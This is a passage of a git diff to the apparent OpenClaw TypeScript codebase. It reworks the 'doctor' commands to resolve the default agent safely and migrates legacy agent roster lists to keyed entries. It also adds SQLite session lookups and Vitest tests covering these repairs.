listAgentIds(cfg); const workspaces = agentIds.map((agentId) => ({ agentId, diff --git a/src/commands/doctor-claude-cli.test.ts b/src/commands/doctor-claude-cli.test.ts index 6f3f7edf65f4..c13dcf9eef8c 100644 --- a/src/commands/doctor-claude-cli.test.ts +++ b/src/commands/doctor-claude-cli.test.ts @@ -89,7 +89,12 @@ describe("noteClaudeCliHealth", () => { const resolveCommandPath = vi.fn(() => undefined); noteClaudeCliHealth( - { agents: { defaults: { model: "claude-cli/claude-sonnet-4-6" } } }, + { + agents: { + defaults: { model: "claude-cli/claude-sonnet-4-6" }, + entries: { main: { default: true } }, + }, + }, { homeDir, workspaceDir, @@ -129,6 +134,7 @@ describe("noteClaudeCliHealth", () => { defaults: { model: { primary: "claude-cli/claude-sonnet-4-6" }, }, + entries: { main: { default: true } }, }, }, { @@ -226,6 +232,7 @@ describe("noteClaudeCliHealth", () => { defaults: { model: { primary: "claude-cli/claude-sonnet-4-6" }, }, + entries: { main: { default: true } }, }, }, { @@ -260,6 +267,7 @@ describe("noteClaudeCliHealth", () => { defaults: { model: { primary: "claude-cli/claude-sonnet-4-6" }, }, + entries: { main: { default: true } }, }, }, { @@ -287,6 +295,7 @@ describe("noteClaudeCliHealth", () => { defaults: { model: { primary: "claude-cli/claude-sonnet-4-6" }, }, + entries: { main: { default: true } }, }, }, { diff --git a/src/commands/doctor-claude-cli.ts b/src/commands/doctor-claude-cli.ts index 4415914990f0..607a2241dcfa 100644 --- a/src/commands/doctor-claude-cli.ts +++ b/src/commands/doctor-claude-cli.ts @@ -9,7 +9,7 @@ import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metada import { listAgentIds, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { CLAUDE_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js"; import { resolveAuthStorePathForDisplay } from "../agents/auth-profiles/paths.js"; @@ -121,7 +121,8 @@ function resolveClaudeCliAgentIds(cfg: OpenClawConfig): string[] { return runtimeAgentIds; } if (usesClaudeCliModelSelection(cfg)) { - return [resolveDefaultAgentId(cfg)]; + const defaultAgentId = tryResolveDefaultAgentId(cfg); + return defaultAgentId ? [defaultAgentId] : []; } return []; } @@ -141,7 +142,7 @@ function resolveClaudeCliWorkspaceTargets(params: { workspaceDir?: string; }): ClaudeCliWorkspaceTarget[] { const agentIds = resolveClaudeCliAgentIds(params.cfg); - const defaultAgentId = resolveDefaultAgentId(params.cfg); + const defaultAgentId = tryResolveDefaultAgentId(params.cfg); const seen = new Set(); return agentIds .filter((agentId) => { @@ -212,7 +213,7 @@ export function noteClaudeCliHealth( const commandPath = resolveCommandPath(command, env); const authStorePath = resolveAuthStorePathForDisplay(); const storedProfile = store.profiles[CLAUDE_CLI_PROFILE_ID]; - const defaultAgentId = resolveDefaultAgentId(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const showAgentLabels = workspaceTargets.length > 1 || workspaceTargets.some((target) => target.agentId !== defaultAgentId); diff --git a/src/commands/doctor-config-flow.test-utils.ts b/src/commands/doctor-config-flow.test-utils.ts index 322f89427c4c..324d27646ef4 100644 --- a/src/commands/doctor-config-flow.test-utils.ts +++ b/src/commands/doctor-config-flow.test-utils.ts @@ -3,6 +3,9 @@ const DOCTOR_CONFIG_TEST_INPUT = Symbol.for("openclaw.doctorConfigFlow.testInput type DoctorConfigTestInput = { config: Record; + parsed?: Record; + sourceConfigBeforeMigrations?: Record; + agentRosterIncludeOwned?: boolean; exists: boolean; path: string; preflightMode: "fast" | "issues" | "compat"; @@ -128,6 +131,10 @@ function hasCompatPreflightSignals(config: Record): boolean { export async function runDoctorConfigWithInput(params: { config: Record; + parsedConfig?: Record; + sourceConfigBeforeMigrations?: Record; + agentRosterIncludeOwned?: boolean; + exists?: boolean; repair?: boolean; preflightMode?: "fast" | "issues" | "compat"; run: (args: { @@ -142,7 +149,14 @@ export async function runDoctorConfigWithInput(params: { : "fast"; setDoctorConfigInputForTest({ config: structuredClone(params.config), - exists: true, + ...(params.parsedConfig ? { parsed: structuredClone(params.parsedConfig) } : {}), + ...(params.sourceConfigBeforeMigrations + ? { sourceConfigBeforeMigrations: structuredClone(params.sourceConfigBeforeMigrations) } + : {}), + ...(params.agentRosterIncludeOwned !== undefined + ? { agentRosterIncludeOwned: params.agentRosterIncludeOwned } + : {}), + exists: params.exists ?? true, path: "/virtual/.openclaw/openclaw.json", preflightMode: params.preflightMode ?? inferredPreflightMode, }); diff --git a/src/commands/doctor-config-flow.test.ts b/src/commands/doctor-config-flow.test.ts index 6d14eb1640fa..98daffebaf85 100644 --- a/src/commands/doctor-config-flow.test.ts +++ b/src/commands/doctor-config-flow.test.ts @@ -1354,9 +1354,12 @@ vi.mock("./doctor-config-preflight.js", async () => { runDoctorConfigPreflightOptionsMock(options); const injected = getDoctorConfigInputForTest(); const configPath = injected?.path ?? resolveConfigPath(); - let parsed: Record = injected?.config - ? structuredClone(injected.config) - : {}; + let parsed: Record = injected?.parsed + ? structuredClone(injected.parsed) + : injected?.config + ? structuredClone(injected.config) + : {}; + let injectedEffectiveConfig = injected?.config ? structuredClone(injected.config) : parsed; let exists = injected?.exists ?? false; if (!injected) { try { @@ -1365,23 +1368,30 @@ vi.mock("./doctor-config-preflight.js", async () => { unknown >; exists = true; + injectedEffectiveConfig = parsed; } catch { parsed = {}; + injectedEffectiveConfig = parsed; } } + const sourceConfigBeforeMigrations = injected?.sourceConfigBeforeMigrations + ? structuredClone(injected.sourceConfigBeforeMigrations) + : injectedEffectiveConfig; if (injected?.preflightMode === "fast") { return { snapshot: { exists, path: configPath, parsed, - config: parsed, - sourceConfig: parsed, + includeProvenance: { agentRoster: injected?.agentRosterIncludeOwned === true }, + sourceConfigBeforeMigrations, + config: injectedEffectiveConfig, + sourceConfig: injectedEffectiveConfig, valid: true, warnings: [], legacyIssues: [], }, - baseConfig: parsed, + baseConfig: injectedEffectiveConfig, }; } if (injected?.preflightMode === "issues") { @@ -1397,13 +1407,15 @@ vi.mock("./doctor-config-preflight.js", async () => { exists, path: configPath, parsed, - config: parsed, - sourceConfig: parsed, + includeProvenance: { agentRoster: injected?.agentRosterIncludeOwned === true }, + sourceConfigBeforeMigrations, + config: injectedEffectiveConfig, + sourceConfig: injectedEffectiveConfig, valid: legacyIssues.length === 0, warnings: [], legacyIssues, }, - baseConfig: parsed, + baseConfig: injectedEffectiveConfig, }; } const legacyIssues = findLegacyConfigIssues( @@ -1420,6 +1432,8 @@ vi.mock("./doctor-config-preflight.js", async () => { exists, path: configPath, parsed, + includeProvenance: { agentRoster: injected?.agentRosterIncludeOwned === true }, + sourceConfigBeforeMigrations, config: effectiveConfig, sourceConfig: effectiveConfig, valid: legacyIssues.length === 0, @@ -1588,7 +1602,7 @@ describe("doctor config flow", () => { const result = await runDoctorConfigWithInput({ config: { gateway: { auth: { mode: "token", token: 123 } }, - agents: { list: [{ id: "openclaw" }] }, + agents: { entries: { openclaw: { default: true } } }, }, run: loadAndMaybeMigrateDoctorConfig, }); @@ -1598,6 +1612,164 @@ describe("doctor config flow", () => { }); }); + it("plans persistence of the injected main roster during doctor repair", async () => { + const result = await runDoctorConfigWithInput({ + config: { + agents: { + entries: { main: { default: true, workspace: "/tmp/migrated-main" } }, + }, + gateway: { mode: "local" }, + }, + parsedConfig: { gateway: { mode: "local" } }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents?.entries).toEqual({ + main: { default: true, workspace: "/tmp/migrated-main" }, + }); + }); + + it("removes a legacy list when Doctor persists keyed roster entries", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { list: [{ id: "ops", default: true, workspace: "/srv/ops" }] } }, + parsedConfig: { + agents: { list: [{ id: "ops", default: true, workspace: "/srv/ops" }] }, + }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents?.entries).toEqual({ + ops: { default: true, workspace: "/srv/ops" }, + }); + expect(result.cfg.agents).not.toHaveProperty("list"); + }); + + it("preserves malformed keyed entries for schema validation during repair", async () => { + const agents = { entries: { main: {}, broken: null as never } }; + const result = await runDoctorConfigWithInput({ + config: { agents }, + parsedConfig: { agents }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents?.entries).toEqual({ + main: { default: true }, + broken: null, + }); + }); + + it("detects a legacy roster after environment resolution", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { entries: { ops: { default: true } } } }, + parsedConfig: { agents: { list: [{ id: "${AGENT_ID}", default: true }] } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "ops", default: true }] }, + }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents).toEqual({ entries: { ops: { default: true } } }); + }); + + it("preserves a roster supplied by an included config during repair", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { entries: { ops: { default: true } } } }, + parsedConfig: { $include: "./agents.json" }, + agentRosterIncludeOwned: true, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(false); + expect(result.cfg.agents?.entries).toEqual({ ops: { default: true } }); + }); + + it("preserves ownership of an explicitly empty included roster", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { entries: { main: { default: true } } } }, + parsedConfig: { $include: "./agents.json" }, + sourceConfigBeforeMigrations: { agents: { entries: {} } }, + agentRosterIncludeOwned: true, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(false); + expect(result.cfg.agents?.entries).toEqual({ main: { default: true } }); + }); + + it("persists an injected roster when a root include contributes only channels", async () => { + const result = await runDoctorConfigWithInput({ + config: { + agents: { entries: { main: { default: true } } }, + channels: { telegram: { enabled: true } }, + }, + parsedConfig: { $include: "./channels.json" }, + sourceConfigBeforeMigrations: { channels: { telegram: { enabled: true } } }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents?.entries).toEqual({ main: { default: true } }); + }); + + it("repairs a locally authored roster when unrelated includes exist", async () => { + const result = await runDoctorConfigWithInput({ + config: { + agents: { + defaults: { workspace: "/tmp/ops" }, + entries: { main: { default: true } }, + }, + }, + parsedConfig: { $include: "./channels.json", agents: { entries: {} } }, + sourceConfigBeforeMigrations: { + channels: { telegram: { enabled: true } }, + agents: { entries: {} }, + }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents).toEqual({ + defaults: { workspace: "/tmp/ops" }, + entries: { main: { default: true } }, + }); + }); + + it("repairs a missing roster when only a nested channel include exists", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { entries: { main: { default: true } } } }, + parsedConfig: { channels: { $include: "./channels.json" } }, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(true); + expect(result.cfg.agents?.entries).toEqual({ main: { default: true } }); + }); + + it("does not persist an implicit roster when no config file exists", async () => { + const result = await runDoctorConfigWithInput({ + config: { agents: { entries: { main: { default: true } } } }, + exists: false, + repair: true, + run: loadAndMaybeMigrateDoctorConfig, + }); + + expect(result.shouldWriteConfig).toBe(false); + expect(result.cfg.agents?.entries).toEqual({ main: { default: true } }); + }); + it("enables Doctor-only state migrations only for explicit repair", async () => { await runDoctorConfigWithInput({ config: {}, @@ -1808,7 +1980,7 @@ describe("doctor config flow", () => { fallbacks: ["openai/gpt-5.4"], }, }, - list: [{ id: "ops", model: "openai/gpt-5.3" }], + entries: { ops: { default: true, model: "openai/gpt-5.3" } }, }, }; @@ -2079,7 +2251,7 @@ describe("doctor config flow", () => { config: { bridge: { bind: "auto" }, gateway: { auth: { mode: "token", token: "ok", extra: true } }, - agents: { list: [{ id: "openclaw" }] }, + agents: { entries: { openclaw: { default: true } } }, session: { maintenance: { rotateBytes: "10mb", @@ -3133,9 +3305,10 @@ describe("doctor config flow", () => { expect(changeTitles).toContain("Doctor changes preview"); expect(changeTitles).not.toContain("Doctor changes"); const previewPanel = noteSpy.mock.calls.find( - ([, title]) => title === "Doctor changes preview", + ([message, title]) => + title === "Doctor changes preview" && message.includes("Moved heartbeat to"), ); - expect(previewPanel?.[0]).toContain("Moved heartbeat to"); + expect(previewPanel).toBeDefined(); } finally { noteSpy.mockClear(); } diff --git a/src/commands/doctor-config-flow.ts b/src/commands/doctor-config-flow.ts index f37fae1c48d7..053bd17f8f69 100644 --- a/src/commands/doctor-config-flow.ts +++ b/src/commands/doctor-config-flow.ts @@ -1,7 +1,10 @@ /** Main doctor config flow: preflight, migrations, previews, repairs, and final write decision. */ import path from "node:path"; import { note } from "../../packages/terminal-core/src/note.js"; +import { readAgentRosterProperty } from "../agents/agent-scope-config.js"; import { formatCliCommand } from "../cli/command-format.js"; +import { configIncludeOwnsAgentRoster } from "../config/agent-roster-provenance.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import { CONFIG_PATH } from "../config/paths.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { callGateway } from "../gateway/call.js"; @@ -169,6 +172,34 @@ export async function loadAndMaybeMigrateDoctorConfig(params: { pendingChanges = pendingChanges || legacyStep.state.pendingChanges; fixHints = legacyStep.state.fixHints; const legacyMigrationPartiallyValid = legacyStep.partiallyValid === true; + const rosterMigrationNeeded = [snapshot.sourceConfigBeforeMigrations, snapshot.parsed].some( + (source) => source !== undefined && migratePersistedImplicitMainRoster(source).changed, + ); + const includeOwnsRoster = configIncludeOwnsAgentRoster(snapshot); + if (snapshot.exists && rosterMigrationNeeded && !includeOwnsRoster) { + // Runtime roster normalization is read-only; doctor --fix owns persistence. + const migrated = migratePersistedImplicitMainRoster(candidate).config as OpenClawConfig; + const migratedRoster = readAgentRosterProperty(migrated); + const migratedEntries = migratedRoster?.kind === "entries" ? migratedRoster.value : undefined; + const { list: _legacyList, ...candidateAgents } = candidate.agents ?? {}; + const rosterRepair = { + config: { + ...candidate, + agents: { + ...candidateAgents, + entries: migratedEntries as NonNullable["entries"], + }, + }, + changes: ["Persisted agents.entries with exactly one explicit default agent."], + }; + emitDoctorChangesPanel(rosterRepair.changes, shouldRepair); + ({ cfg, candidate, pendingChanges, fixHints } = applyDoctorConfigMutation({ + state: { cfg, candidate, pendingChanges, fixHints }, + mutation: rosterRepair, + shouldRepair, + fixHint: `Run "${doctorFixCommand}" to persist the explicit agent roster.`, + })); + } const { collectBlockedLegacyOpenAICodexProviderPlan } = await import("./doctor/shared/legacy-config-migrations.runtime.models.js"); const blockedCodexProviderPlan = collectBlockedLegacyOpenAICodexProviderPlan(candidate); diff --git a/src/commands/doctor-config-preflight.state-migration.test.ts b/src/commands/doctor-config-preflight.state-migration.test.ts index afc6307fbcc1..674d3a2f48e5 100644 --- a/src/commands/doctor-config-preflight.state-migration.test.ts +++ b/src/commands/doctor-config-preflight.state-migration.test.ts @@ -953,7 +953,7 @@ describe("runDoctorConfigPreflight state migration", () => { }), agents: expect.objectContaining({ defaults: expect.objectContaining({}), - entries: { main: {} }, + entries: { main: { default: true } }, }), }), migrateCodexModelRefs: false, @@ -969,7 +969,7 @@ describe("runDoctorConfigPreflight state migration", () => { }), agents: expect.objectContaining({ defaults: expect.objectContaining({}), - entries: { main: {} }, + entries: { main: { default: true } }, }), }), pluginDoctorConfig: resolvedConfig, diff --git a/src/commands/doctor-heartbeat-session-target.test.ts b/src/commands/doctor-heartbeat-session-target.test.ts index aba25a151f40..d95afbba0f18 100644 --- a/src/commands/doctor-heartbeat-session-target.test.ts +++ b/src/commands/doctor-heartbeat-session-target.test.ts @@ -4,7 +4,9 @@ import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { resolveStorePath } from "../config/sessions/paths.js"; +import { upsertSessionEntry } from "../config/sessions/session-accessor.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { closeOpenClawAgentDatabasesForTest } from "../state/openclaw-agent-db.js"; import { describeHeartbeatSessionTargetIssues } from "./doctor-heartbeat-session-target.js"; describe("describeHeartbeatSessionTargetIssues", () => { @@ -15,6 +17,7 @@ describe("describeHeartbeatSessionTargetIssues", () => { }); afterEach(() => { + closeOpenClawAgentDatabasesForTest(); fs.rmSync(tmpDir, { recursive: true, force: true }); }); @@ -77,6 +80,17 @@ describe("describeHeartbeatSessionTargetIssues", () => { expect(describeHeartbeatSessionTargetIssues(cfg)).toEqual([]); }); + it("recognizes a SQLite-resident heartbeat target", async () => { + const cfg = cfgWithSession("slack:channel:c123"); + const storePath = resolveStorePath(cfg.session?.store, { agentId: "ops" }); + await upsertSessionEntry( + { agentId: "ops", sessionKey: "agent:ops:slack:channel:c123", storePath }, + { sessionId: "sqlite-heartbeat-target", updatedAt: Date.now() }, + ); + + expect(describeHeartbeatSessionTargetIssues(cfg)).toEqual([]); + }); + it("warns when the resolved heartbeat session is missing", () => { const cfg = cfgWithSession("slack:channel:c123"); writeStore(cfg, {}); diff --git a/src/commands/doctor-heartbeat-session-target.ts b/src/commands/doctor-heartbeat-session-target.ts index c37732d648be..f80c4802feaf 100644 --- a/src/commands/doctor-heartbeat-session-target.ts +++ b/src/commands/doctor-heartbeat-session-target.ts @@ -1,8 +1,10 @@ +import fs from "node:fs"; /** Doctor warnings for heartbeat.session values that resolve to missing delivery sessions. */ import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { listAgentEntries, listAgentIds, resolveAgentConfig } from "../agents/agent-scope.js"; import { canonicalizeMainSessionAlias } from "../config/sessions/main-session.js"; import { resolveStorePath } from "../config/sessions/paths.js"; +import { loadSessionEntryReadOnly } from "../config/sessions/session-accessor.js"; import type { AgentDefaultsConfig } from "../config/types.agent-defaults.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveHeartbeatIntervalMs } from "../infra/heartbeat-summary.js"; @@ -121,8 +123,13 @@ export function describeHeartbeatSessionTargetIssues(cfg: OpenClawConfig): strin } const storeAgentId = resolvedAgentId; const storePath = resolveStorePath(cfg.session?.store, { agentId: storeAgentId }); - const store = loadLegacySessionStore(storePath); - const entry = store[canonicalSession]; + const entry = + loadSessionEntryReadOnly({ + agentId: storeAgentId, + sessionKey: canonicalSession, + storePath, + }) ?? + (fs.existsSync(storePath) ? loadLegacySessionStore(storePath)[canonicalSession] : undefined); if (entry) { continue; } diff --git a/src/commands/doctor-legacy-config.migrations.test.ts b/src/commands/doctor-legacy-config.migrations.test.ts index c4a7d3c6ae56..4060d79c2bb7 100644 --- a/src/commands/doctor-legacy-config.migrations.test.ts +++ b/src/commands/doctor-legacy-config.migrations.test.ts @@ -857,9 +857,9 @@ describe("normalizeCompatibilityConfigValues", () => { 'Removed duplicate agents.defaults.model fallback "openai/gpt-5.6-sol" after selecting it as the default primary.', 'Removed stale agents.defaults.models entry "deleted/models-add-row" (provider "deleted" is unavailable).', 'Added agents.defaults.models entry "openai/gpt-5.6-sol" to keep the repaired allowlist restrictive.', - 'Removed stale agents.list[0].model "deleted/agent-primary" so agent "main" inherits the default model (provider "deleted" is unavailable).', - 'Removed stale agents.list[0].models entry "deleted/agent-models-add-row" (provider "deleted" is unavailable).', - 'Added agents.list[0].models entry "openai/gpt-5.6-sol" to keep the repaired allowlist restrictive.', + 'Removed stale agents.list.main.model "deleted/agent-primary" so agent "main" inherits the default model (provider "deleted" is unavailable).', + 'Removed stale agents.list.main.models entry "deleted/agent-models-add-row" (provider "deleted" is unavailable).', + 'Added agents.list.main.models entry "openai/gpt-5.6-sol" to keep the repaired allowlist restrictive.', ]); }); @@ -911,6 +911,33 @@ describe("normalizeCompatibilityConfigValues", () => { ]); }); + it("evaluates and repairs every canonical keyed agent", () => { + const result = repairStaleAgentModelRefs( + { + agents: { + defaults: { model: "agent-local/model" }, + entries: { + main: { default: true }, + worker: { model: "deleted/worker" }, + }, + }, + } as OpenClawConfig, + { + pluginProviderIds: new Set(), + persistedProviderIdsByAgentId: new Map([ + ["main", new Set(["agent-local"])], + ["worker", new Set()], + ]), + }, + ); + + expect(result.config.agents?.defaults?.model).toBe("openai/gpt-5.6-sol"); + expect(result.config.agents?.entries?.worker?.model).toBeUndefined(); + expect(result.changes).toContain( + 'Removed stale agents.entries.worker.model "deleted/worker" so agent "worker" inherits the default model (provider "deleted" is unavailable).', + ); + }); + it("keeps a repaired model allowlist restrictive", () => { const result = repairStaleAgentModelRefs( { diff --git a/src/commands/doctor-lint.ts b/src/commands/doctor-lint.ts index d11c0a91540d..94f4826ec0a4 100644 --- a/src/commands/doctor-lint.ts +++ b/src/commands/doctor-lint.ts @@ -1,5 +1,5 @@ /** CLI entrypoint for non-mutating doctor lint health checks. */ -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { resolveAgentWorkspaceDir, tryResolveDefaultAgentId } from "../agents/agent-scope.js"; import { readConfigFileSnapshot } from "../config/config.js"; import { registerBundledHealthChecks } from "../flows/bundled-health-checks.js"; import { configValidationIssuesToHealthFindings } from "../flows/doctor-core-checks.js"; @@ -72,11 +72,12 @@ export async function runDoctorLintCli( return exitCodeFromFindings(findings, sevMin); } + const defaultAgentId = tryResolveDefaultAgentId(snapshot.config); const ctx: HealthCheckContext = { mode: "lint", runtime, cfg: snapshot.config, - cwd: resolveAgentWorkspaceDir(snapshot.config, resolveDefaultAgentId(snapshot.config)), + cwd: defaultAgentId ? resolveAgentWorkspaceDir(snapshot.config, defaultAgentId) : process.cwd(), allowExecSecretRefs: opts.allowExec === true, ...(snapshot.path !== undefined ? { configPath: snapshot.path } : {}), }; diff --git a/src/commands/doctor-memory-search.test.ts b/src/commands/doctor-memory-search.test.ts index 5f8eef02bd31..5d0fb37c2c87 100644 --- a/src/commands/doctor-memory-search.test.ts +++ b/src/commands/doctor-memory-search.test.ts @@ -41,7 +41,7 @@ vi.mock("../../packages/terminal-core/src/note.js", () => ({ vi.mock("../agents/agent-scope.js", () => ({ listAgentIds, - resolveDefaultAgentId, + tryResolveDefaultAgentId: resolveDefaultAgentId, resolveAgentDir, resolveAgentWorkspaceDir, })); diff --git a/src/commands/doctor-memory-search.ts b/src/commands/doctor-memory-search.ts index dfd25cb5690b..39eeb4d203e0 100644 --- a/src/commands/doctor-memory-search.ts +++ b/src/commands/doctor-memory-search.ts @@ -10,7 +10,7 @@ import { listAgentIds, resolveAgentDir, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { hasAnyAuthProfileStoreSource, @@ -590,7 +590,7 @@ export async function noteMemorySearchHealth( opts?: MemorySearchHealthOptions, ): Promise { const scopes = resolveMemoryDoctorAgentScopes(cfg); - const defaultAgentId = resolveDefaultAgentId(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const labelAgents = scopes.length > 1; for (const scope of scopes) { if (opts?.includeWorkspaceMemoryHealth !== false) { diff --git a/src/commands/doctor-session-sqlite.test.ts b/src/commands/doctor-session-sqlite.test.ts index e9003714ef9a..944aee4aa6fd 100644 --- a/src/commands/doctor-session-sqlite.test.ts +++ b/src/commands/doctor-session-sqlite.test.ts @@ -78,6 +78,20 @@ afterEach(() => { }); describe("runDoctorSessionSqlite", () => { + it("uses the requested agent as the owner for explicit-store maintenance", async () => { + const stateDir = autoCleanupTempDirs.make("openclaw-doctor-explicit-ops-"); + const storePath = path.join(stateDir, "shared", "sessions.json"); + const report = await runDoctorSessionSqlite({ + agent: "ops", + env: { ...process.env, OPENCLAW_STATE_DIR: stateDir }, + mode: "inspect", + store: storePath, + }); + + expect(report.targets).toHaveLength(1); + expect(report.targets[0]).toMatchObject({ agentId: "ops", storePath }); + }); + it("reads populated v13 session_entries before migration", () => { const stateDir = autoCleanupTempDirs.make("openclaw-doctor-v13-reader-"); const storePath = path.join(stateDir, "agents", "main", "sessions", "sessions.json"); diff --git a/src/commands/doctor-session-sqlite.ts b/src/commands/doctor-session-sqlite.ts index e02ee1c60bba..200505ea6978 100644 --- a/src/commands/doctor-session-sqlite.ts +++ b/src/commands/doctor-session-sqlite.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import path from "node:path"; import { isRecord } from "@openclaw/normalization-core/record-coerce"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { tryResolveDefaultAgentId } from "../agents/agent-scope.js"; import { getRuntimeConfig } from "../config/config.js"; import { resolveStateDir } from "../config/paths.js"; import { resolveSessionFilePath } from "../config/sessions/paths.js"; @@ -9,7 +9,7 @@ import { importSqliteSessionRows, loadExactSqliteSessionEntry, } from "../config/sessions/session-accessor.sqlite.js"; -import { resolveSqliteTargetFromSessionStorePath } from "../config/sessions/session-sqlite-target.js"; +import { resolveUnsuffixedSqliteTargetFromSessionStorePath } from "../config/sessions/session-sqlite-target.js"; import { parseSqliteSessionFileMarker } from "../config/sessions/sqlite-marker.js"; import { normalizeStoreSessionKey } from "../config/sessions/store-entry.js"; import { @@ -25,7 +25,7 @@ import { resolveStoredSessionOwnerAgentId } from "../gateway/session-store-key.j import { readFileDescriptorBoundedSync } from "../infra/boundary-file-read.js"; import { resolveSqliteDatabaseFilePaths } from "../infra/sqlite-files.js"; import { normalizeLegacySessionEntryDelivery as normalizeSessionEntryDelivery } from "../infra/state-migrations.legacy-session-store.js"; -import { normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { closeOpenClawAgentDatabaseByPath } from "../state/openclaw-agent-db.js"; import { compactDoctorSessionSqliteTarget } from "./doctor-session-sqlite-compact.js"; import { @@ -218,7 +218,10 @@ function resolveDoctorSessionSqliteConfig(options: DoctorSessionSqliteOptions): if (options.cfg) { return options.cfg; } - return options.store ? {} : getRuntimeConfig(); + const requestedAgentId = normalizeAgentId(options.agent ?? LEGACY_IMPLICIT_AGENT_ID); + return options.store + ? { agents: { entries: { [requestedAgentId]: { default: true } } } } + : getRuntimeConfig(); } function resolveDoctorSessionSqliteTargets(params: { @@ -513,11 +516,13 @@ function isLegacySessionRecordOwnedByTarget( }); return ownerAgentId ? ownerAgentId === target.agentId - : target.agentId === resolveDefaultAgentId(cfg); + : target.agentId === tryResolveDefaultAgentId(cfg); } function shouldFilterLegacySessionRecordsByTarget(target: SessionStoreTarget): boolean { - return !resolveSqliteTargetFromSessionStorePath(target.storePath).agentId; + // Filtering depends on whether the authored store path encodes an owner, + // not on the configured/default owner selected for its SQLite target. + return !resolveUnsuffixedSqliteTargetFromSessionStorePath(target.storePath).agentId; } function resolveLegacyTranscriptPath( diff --git a/src/commands/doctor-session-state-providers.ts b/src/commands/doctor-session-state-providers.ts index b2a18488ca3a..f33aacefd5d1 100644 --- a/src/commands/doctor-session-state-providers.ts +++ b/src/commands/doctor-session-state-providers.ts @@ -4,7 +4,7 @@ import { normalizeStringEntriesLower } from "@openclaw/normalization-core/string import { note } from "../../packages/terminal-core/src/note.js"; import { resolveAgentModelFallbacksOverride, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { resolveAgentHarnessPolicy } from "../agents/harness/selection.js"; import { @@ -56,8 +56,8 @@ function repairExample(repair: DoctorSessionRouteStateRepair): string { return `${repair.key} (${repair.reasons.join(", ")})`; } -function resolveSessionAgentId(cfg: OpenClawConfig, sessionKey: string): string { - return parseAgentSessionKey(sessionKey)?.agentId ?? resolveDefaultAgentId(cfg); +function resolveSessionAgentId(cfg: OpenClawConfig, sessionKey: string): string | undefined { + return parseAgentSessionKey(sessionKey)?.agentId ?? tryResolveDefaultAgentId(cfg); } /** Resolves the currently configured provider/model/runtime route for a session key. */ @@ -65,8 +65,11 @@ function resolveConfiguredDoctorSessionStateRoute(params: { cfg: OpenClawConfig; sessionKey: string; env?: NodeJS.ProcessEnv; -}): DoctorSessionRouteState { +}): DoctorSessionRouteState | undefined { const agentId = resolveSessionAgentId(params.cfg, params.sessionKey); + if (!agentId) { + return undefined; + } const primary = resolveDefaultModelForAgent({ cfg: params.cfg, agentId }); const configuredModelRefs = new Set(); const addRef = (provider: string, model: string) => { @@ -493,8 +496,10 @@ export async function runPluginSessionStateDoctorRepairs(params: { if (!entryMayContainPluginSessionRouteState(sessionKey, entry)) { continue; } - scanStore[sessionKey] = entry as unknown as Record; const agentId = resolveSessionAgentId(params.cfg, sessionKey); + if (!agentId) { + continue; + } let route = routeByAgentId.get(agentId); if (!route) { route = resolveConfiguredDoctorSessionStateRoute({ @@ -502,8 +507,12 @@ export async function runPluginSessionStateDoctorRepairs(params: { sessionKey, env: params.env, }); + if (!route) { + continue; + } routeByAgentId.set(agentId, route); } + scanStore[sessionKey] = entry as unknown as Record; routes[sessionKey] = route; } if (Object.keys(scanStore).length === 0) { diff --git a/src/commands/doctor-state-integrity.test.ts b/src/commands/doctor-state-integrity.test.ts index ffc137027c31..2dc4957fa088 100644 --- a/src/commands/doctor-state-integrity.test.ts +++ b/src/commands/doctor-state-integrity.test.ts @@ -9,7 +9,9 @@ import { resolveStorePath, resolveSessionTranscriptsDirForAgent, } from "../config/sessions/paths.js"; +import { upsertSessionEntry } from "../config/sessions/session-accessor.js"; import type { SessionEntry } from "../config/sessions/types.js"; +import { closeOpenClawAgentDatabasesForTest } from "../state/openclaw-agent-db.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; import { @@ -25,7 +27,7 @@ import 